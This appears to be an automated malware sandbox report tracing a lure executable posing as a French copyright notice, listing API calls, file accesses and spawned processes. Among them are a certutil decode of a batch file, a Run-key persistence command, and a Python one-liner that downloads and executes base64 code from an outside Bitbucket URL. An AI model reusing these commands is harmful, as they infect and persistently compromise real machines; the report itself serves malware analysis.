Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_734235A0 wsprintfW,FindFirstFileW,lstrcpynW,lstrcmpW,wsprintfW,lstrcmpiW,wsprintfW,memset,CreateProcessW,CloseHandle,CloseHandle,lstrcmpW,lstrcmpW,wsprintfW,FindNextFileW,FindClose,	11_2_734235A0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67D7124 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	16_2_00007FF6F67D7124
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F681B830 FindFirstFileExA,	16_2_00007FF6F681B830
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67CF944 FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	16_2_00007FF6F67CF944

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 6_2_0093B1D6 GetSystemInfo,

6_2_0093B1D6

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: synaptics.exe, 00000019.00000003.2771260992.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2787922057.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2796875448.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2719414768.00000000016D4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2748521008.00000000016D4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2807809248.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2793173691.0000000001676000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2697223214.00000000016D4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2803542849.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2777246955.00000000016C6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllused in calls to

Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe

Code function: 11_2_73425B2C IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_73425B2C

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F681CC70 GetProcessHeap,

16_2_00007FF6F681CC70

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_6E64F8BF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_6E64F8BF
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_73425325 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_73425325
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_73425B2C IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_73425B2C
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F680D898 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF6F680D898
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F6812078 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF6F6812078
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F680CC4C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF6F680CC4C
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F680DA40 SetUnhandledExceptionFilter,	16_2_00007FF6F680DA40

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y QExvbmVOb25l.rar C:\Users\Public\QExvbmVOb25l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\dkib1bpc.ejc" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe "c:\users\public\qexvbmvob25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/adonis_all').read().decode('utf-8')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe c:\users\public\qexvbmvob25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/adonis_all').read().decode('utf-8')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe c:\users\public\qexvbmvob25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/adonis_all').read().decode('utf-8')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe "c:\users\public\qexvbmvob25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/adonis_all').read().decode('utf-8')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe c:\users\public\qexvbmvob25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/adonis_all').read().decode('utf-8')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe c:\users\public\qexvbmvob25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/adonis_all').read().decode('utf-8')))"

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F67FDFA0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

16_2_00007FF6F67FDFA0

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F68211A0 cpuid

16_2_00007FF6F68211A0

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: GetLocaleInfoW,

16_2_00007FF6F67FD3B8

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\__init__.cpython-310.pyc.15540360 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\codecs.cpython-310.pyc.15056192 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\aliases.cpython-310.pyc.15542232 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\utf_8.cpython-310.pyc.15542232 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\cp1252.cpython-310.pyc.20612144 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\io.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\io.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\io.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\io.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\io.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\io.cpython-310.pyc.20644048 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\abc.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\abc.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\abc.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\abc.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\abc.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\abc.cpython-310.pyc.15056192 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\site.cpython-310.pyc.20615584 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\os.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\os.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\os.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\os.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\os.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\os.cpython-310.pyc.20648144 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\stat.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\stat.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\stat.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\stat.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\stat.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\stat.cpython-310.pyc.20615680 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\_collections_abc.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\_collections_abc.cpython-310.pyc.22023872 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\ntpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\ntpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\ntpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\ntpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\ntpath.cpython-310.pyc.20617024 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\genericpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\genericpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\genericpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\genericpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\genericpath.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\genericpath.cpython-310.pyc.21830944 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\_sitebuiltins.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\_sitebuiltins.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\_sitebuiltins.cpython-310.pyc.22051712 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\distutils-precedence.pth VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
